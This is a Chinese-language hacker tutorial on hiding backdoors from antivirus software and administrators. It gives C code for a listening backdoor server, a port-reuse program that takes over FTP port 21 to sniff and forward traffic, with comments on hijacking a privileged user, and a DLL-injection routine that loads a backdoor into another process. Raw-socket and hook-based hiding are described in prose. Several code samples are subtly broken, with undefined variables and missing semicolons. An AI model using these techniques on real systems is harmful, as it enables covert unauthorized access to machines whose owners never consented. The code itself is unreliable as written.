浅析后门隐藏技术

浅析后门隐藏技术

经常在网上“飘”的朋友相信对后门这个名称一定很熟悉，其实后门也是一种程序，而由于它的用途的原因，它被广大的杀毒软件列为“通缉犯”，而且见到它便会痛下杀手，使那些使用后门的朋友痛心欲绝，正因如此，在这被杀和免杀之间，后门的等级得到不断的提升，从后门的原始社会进入了后门的共产主义社会（有点夸张，其实个人认为，共产主义社会是不可能达到的；），好了，回到主题：

1．什么是后门
  后门是一种远程的通信工具，使用者可以利用后门来做一系列的事情，比如：修改注册表、杀死进程、上传下载等等。由于绝大部分的后门都未经过远程主机拥有者同意而被安装上去的，而且它们在使用的过程中会占用主机上的资源（自己的机子上的资料被别人非法占用，那可是非常不爽的），甚至被用来做一些非法的事情使远程主机拥有者无辜受害，因此它被列为病毒也是合情合理;) 。

2．常见的后门
  现在网上面的后门，真的是多不胜数，而常见有名的有winshell(孤独剑客的作品),winEggdrop(至今所见功能最齐全的后门，可能有更齐全的，但我没见过),wolf(美女黑客wolf的作品，不知道谁是wolf不要紧，知道睡在她旁边的叫glacier就够了，如果你连谁是gladier都不知道，小子，你不用混了)，byshell（白远方的作品，用起来不错），还有一些有名没名的，在此就不多说了。

3. 后门的隐藏技术
  前面说过，后门是一种远程通信工具，因此它涉及了网络编程，又由于它用于对系统的操作，因此它也涉及到系统编程，到目前为止，大部分后门都是用C/C++编写的，而其中又以C居多，因为对系统底层的编程，用C是最方便的。在这里，我先从网络编程讲起：

1）、网络编程基础
因为后门被用作服务端，所以这里我们只谈论服务段的编写，用的函数有WSAStartup()、socket()、bind()、accept()、send()等，如果你不知道它们有什么用，请参阅微软MSDN,这里有一个简单的例子:
#include <stdio.h>
#include <winsock.h>
#pragma comment(lib,"Ws2_32")

int main()
{
      SOCKET mysock,tsock,           // 定义套接字
      struct sockaddr_in my_addr;       // 本地地址信息
      struct sockaddr_in their_addr;     // 连接者地址信息
      int sin_size;

      WSADATA wsa;
      WSAStartup(MAKEWORD(2,2),&wsa);       //初始化Windows Socket Dll

      //建立socket
      mysock = socket(AF_INET, SOCK_STREAM, 0);
     
      //bind本机的端口
      my_addr.sin_family = AF_INET;               // 协议类型是INET
      my_addr.sin_port = htons(1234);           // 绑定端口
      my_addr.sin_addr.s_addr = INADDR_ANY;   // 本机IP
      bind(mysock, (struct sockaddr *)&my_addr, sizeof(struct sockaddr));
           
      //listen，监听端口
      listen(mysock, 10); // 等待连接数目
      printf("listen......");    
      //等待客户端连接
      sin_size = sizeof(struct sockaddr_in);
      tsock = accept(mysock, (struct sockaddr *)&their_addr, &sin_size);
     
      //有连接就发送Hello,zrqfzr!字符串过去
      send(tsock, "Hello,zrqfzr!\n", sizeof(“Hello,zrqfzr!\n”), 0);
      printf("send ok!\n");
     
      //成功，关闭套接字
      closesocket(sockfd);
      closesocket(new_fd);

      return 0;
}
这个例子看起来简单，不过这就是后门的雏形了，大家可以看出其流程是WSAStaartup()－>socket()－>bind()－>accept()－send(),功能不多，要实现更多的功能，那只是时间的问题了。

2）隐藏技术
  常见的隐藏技术有：端口复用，Raw socket编程、远程注入DLL以及HOOK技术等。

a.       端口复用
原理很简单，复用已经打开的端口，因为防火墙不会关闭所有的端口，因此，我们可以复用那些防火墙放行的端口，比如；80,21等等，这样做的话，就要把后门做成嗅探器的形式，当它嗅探到指定形式数据的时候，再进行连接，这样的好处是能确保连接成功同时又不会被发现，主要是使用setsockopt()函数设置socket的/SO_REUSEADDR选项就是可以实现端口重绑定的了，
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP)；
  setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)；

下面是一个简单的例子
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

#pragma comment(lib, "Ws2_32")

DWORD WINAPI ClientThread(LPVOID lpParam);

int main()
{
  WORD wVersionRequested;
  DWORD ret;
  WSADATA wsaData;
  BOOL val;
  SOCKADDR_IN saddr;
  SOCKADDR_IN scaddr;
  int err;
  SOCKET s;
  SOCKET sc;
  int caddsize;
  HANDLE mt;
  DWORD tid;

  wVersionRequested = MAKEWORD( 2, 2 );
  err = WSAStartup( wVersionRequested, &wsaData );
  if ( err != 0 ) {
      printf("error!WSAStartup failed!\n");
      return -1;
  }
  saddr.sin_family = AF_INET;

  //截听虽然也可以将地址指定为INADDR_ANY，但是要不能影响正常应用情况下，应该指定具体的IP，留下127.0.0.1给正常的服务应用，然后利用这个地址进行转发，就可以不影响对方正常应用了
  saddr.sin_addr.s_addr = inet_addr("192.168.0.10");    
  saddr.sin_port = htons(21);
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
  {
      printf("error!socket failed!\n");
      return -1;
  }
  val = TRUE;
  //SO_REUSEADDR选项就是可以实现端口重绑定的
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
  {
      printf("error!setsockopt failed!\n");
      return -1;
  }
  //如果指定了SO_EXCLUSIVEADDRUSE，就不会绑定成功，返回无权限的错误代码；
  //如果是想通过重利用端口达到隐藏的目的，就可以动态的测试当前已绑定的端口哪个可以成功，就说明具备这个漏洞，然后动态利用端口使得更隐蔽
  //其实UDP端口一样可以这样重绑定利用，这儿主要以FTP服务为例子进行攻击
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
  {
      ret=GetLastError();
      printf("error!bind failed!\n");
      return -1;
  }
  listen(s,2);  
  while(1)
  {
      caddsize = sizeof(scaddr);
      //接受连接请求
      sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
      if(sc!=INVALID_SOCKET)
      {
        mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
        if(mt==NULL)
        {
          printf("Thread Creat Failed!\n");
          break;
        }
      }
      CloseHandle(mt);
  }
  closesocket(s);
  WSACleanup();
  return 0;
}

DWORD WINAPI ClientThread(LPVOID lpParam)
{
  SOCKET ss = (SOCKET)lpParam;
  SOCKET sc;
  unsigned char buf[4096];
  SOCKADDR_IN saddr;
  long num;
  DWORD val;
  DWORD ret;
  //如果是隐藏端口应用的话，可以在此处加一些判断
  //如果是自己的包，就可以进行一些特殊处理，不是的话通过127.0.0.1进行转发

  saddr.sin_family = AF_INET;
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
  saddr.sin_port = htons(21);
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
  {
      printf("error!socket failed!\n");
      return -1;
  }
  val = 100;
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
  {
      ret = GetLastError();
      return -1;
  }
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
  {
      ret = GetLastError();
      return -1;
  }
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
  {
      printf("error!socket connect failed!\n");
      closesocket(sc);
      closesocket(ss);
      return -1;
  }
  while(1)
  {
      //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上，并把应答的包再转发回去。
      //如果是嗅探内容的话，此处进行内容分析和记录
      //如果是攻击如FTP服务器，利用其高权限登陆用户的话，可以分析其登陆用户，然后利用发送特定的包以劫持的用户身份执行。
      num = recv(ss,(char *)buf,4096,0);
       
      if(num>0)
        {
              //嗅探打印
              buf[num] = '\0';
              printf("%s", buf);
        send(sc,(char *)buf,num,0);
        }
      else if(num==0)
        break;
      num = recv(sc,(char *)buf,4096,0);
      if(num>0)
        send(ss,(char *)buf,num,0);
      else if(num==0)
        break;
  }
  closesocket(ss);
  closesocket(sc);
  return 0 ;
}
这个例子复用的是21端口，也就是FTP用的端口，大家也可以看一下wxhshell这个后门，它是winshell经火狐的虚灵幻者修改以后生成的后门，在winshell的基础上实现了端口复用，使winshell的功能变的更加强大。

b.       Raw socket编程
使用raw编程可以使后门隐藏得非常好，因为使用了Raw socket编程技术的后门可以完全表现得无端口、无连接，穿透绝大部分防火墙，而且不仅是后门，就连很多的攻击工具都采用了这用技术，比如Synflood，不过虽然可以用Raw socket编程实现后门编写，但由于采用此技术写的后门在传输大数据的时候不稳定，而且编写的时候也比较麻烦，在此不过多讨论。大家如果有兴趣的话，可以到安全焦点上找一下refdom大哥写的有关Raw socket 编程的文章，配合MSDN来看，定能事半功倍;)。

c.       远程注入DLL
没错，现在讨论的就是传说中的远程注入技术，目前一种非常流行的隐藏技术，因为它没有进程，而前面讨论的两种方法都会有进程出现，因此，有经验的管理员很容易发现，然后先杀进程，在找出后门文件删除。要实现远程注入，我们要编写两个程序，一个是后门文件，这里不是把它写成.exe文件，而是写成.dll文件，在这里先说一下.dll文件，.dll文件，其实就是动态连接库，它里面装封了提供.exe文件调用的函数，一般情况下，双击它，是不能运行它的，它只能由.exe来调用，于是就有了远程注入了，原理很简单：我们把后门的主要功能写成一个函数，然后装封到.dl文件中，然后再另外写一个执行文件来启动它，这样就不会有后门的进程了。那远程注入又指什么呢？这个问题问得好，一般情况下，每个进程都有自己的私有空间，理论上，别的进程是不允许对这个私人空间进行操作的，但是，我们可以利用一些方法进入这个空间并进行操作，将自己的代码写入正在运行的进程中，于是就有了远程注入了。
对dll后门的编写就不作过多的讨论了，现在来看实现注入功能的可执行文件的编写：
用到的函数有：
OpenProcessToken()；
LookupPrivilegeValue()；
AdjustTokenPrivileges()；
OpenProcess()；
VirtualAllocEx()；
WriteProcessMemory()；
GetProcAddress()；
CreateRemoteThread()；

先简单的介绍以下这些函数的作用，因为我们要操作的是系统中的其他进程，如果没有足够的系统权限，我们是无法写入甚至连读取其它进程的内存地址的，所以我们就需要提升自己的权限，用到以下3个函数
OpenProcessToken()； //打开进程令牌
LookupPrivilegeValue()；//返回一个本地系统独一无二的ID，用于系统权限更改
AdjustTokenPrivileges()；//从英文意思也能看出它是更改进程权限用的吧？

进入宿主进程的内存空间
在拥有了进入宿主进程空间的权限之后，我们就需要在其内存加入让它加载我们后门的代码了，用LoadLibraryA()函数就可以加载我们的DLL了，它只需要DLL文件的路径就可以了，在这里我们要把DLL文件的路径写入到宿主的内存空间里，因为DLL的文件路径并不存在于宿主进程内存空间了，用到的函数有：
OpenProcess()；//用于修改宿主进程的一些属性，详细参看MSDN
VirtualAllocEx()；//用于在宿主内存空间中申请内存空间以写入DLL的文件名
WriteProcessMemory();//往申请到的空间中写入DLL的文件名

在宿主中启动新的线程
用的是LoadLibraryA()函数来加载，但在使用LoadLibraryA()之前必须知道它的入口地址，所以用GetProcAdress来获得它的入口地址，有了它的地址以后，就可以用CreateRemoteThread()函数来启动新的线程了，到次，整个注入过程完成，不过还不非常完善，这就留给聪明的你来完成了；）。
简单的例子：
#include "stdafx.h"

int EnableDebugPriv(const char * name)
{
    HANDLE hToken;
    TOKEN_PRIVILEGES tp;
    LUID luid;
    //打开进程令牌环
    OpenProcessToken(GetCurrentProcess(),
                            TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,
                            &hToken);
    //获得进程本地唯一ID
    LookupPrivilegeValue(NULL,name,&luid)
   
    tp.PrivilegeCount = 1;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    tp.Privileges[0].Luid = luid;
    //调整权限
    AdjustTokenPrivileges(hToken,0,&tp,sizeof(TOKEN_PRIVILEGES),NULL,NULL);
    return 0;
}

BOOL InjectDll(const char *DllFullPath, const DWORD dwRemoteProcessId)
{
    HANDLE hRemoteProcess;
    EnableDebugPriv(SE_DEBUG_NAME)
    //打开远程线程
    hRemoteProcess = OpenProcess( PROCESS_CREATE_THREAD | //允许远程创建线程PROCESS_VM_OPERATION | //允许远程VM操作
                                        PROCESS_VM_WRITE,//允许远程VM写
                                        FALSE, dwRemoteProcessId );
    char *pszLibFileRemote;
    //使用VirtualAllocEx函数在远程进程的内存地址空间分配DLL文件名空间
    pszLibFileRemote = (char *) VirtualAllocEx( hRemoteProcess, NULL, lstrlen(DllFullPath)+1,
                                        MEM_COMMIT, PAGE_READWRITE);
    //使用WriteProcessMemory函数将DLL的路径名写入到远程进程的内存空间
    WriteProcessMemory(hRemoteProcess,
                      pszLibFileRemote, (void *) DllFullPath, lstrlen(DllFullPath)+1, NULL)；
    //计算LoadLibraryA的入口地址
    PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)
                GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryA");

    //启动远程线程LoadLibraryA，通过远程线程调用创建新的线程
    HANDLE hRemoteThread;
    if( (hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0, pfnStartAddr, pszLibFileRemote, 0, NULL) ) == NULL)
    {
          printf("CreateRemoteThread error!\n");
          return FALSE;
    }

    return TRUE;
}

int APIENTRY WinMain(HINSTANCE hInstance,
              HINSTANCE hPrevInstance,
              LPSTR     lpCmdLine,
              int     nCmdShow)
{
  InjectDll("c:\\zrqfzr.dll",3060) //这个数字是你想注入的进程的ID号
    return 0;
}
d.       Hook技术
Hook，即钩子，大家知道，WINDOWS是基于消息机制的，而Hook的本意是从系统正常的消息作业中把要监听的消息钩出来，先进入自己的代码中操作一番，之后在把消息放回正常的作业中；或者把该消息结束，不让系统其它进程得到和处理它。
据我所知，大部分大盗号木马都是采用了Hook技术才达到盗号目的的，因为号码和密码的传递也是基于消息机制的，但具体如何实现盗号，我没深入研究，所以这里说不清楚，而常见的利用Hook技术隐藏后门的方法包括Hook recv函数/Hook WSARecv函数，修改IAT导入地址表等。因为要实现隐藏需要较深的系统编程功底，而且占用较多的时间来讲解，恐怕会浪费大家时间，所以在此也不详细讨论，大家有兴趣可以上网找一下相关的资料。
其实要实现后门的隐藏，方法远不止这几种，只要大家平时多留心，一定能学到更多更好的隐藏技术！
后记：
第一次写这样的技术文章，参考和引用了大量的资料，不敢称为原创，文章写的比较匆忙，难免会有错误的地方，高手不幸看了别笑话哦，大家发现错误的地方或者有好的想法，欢迎交流。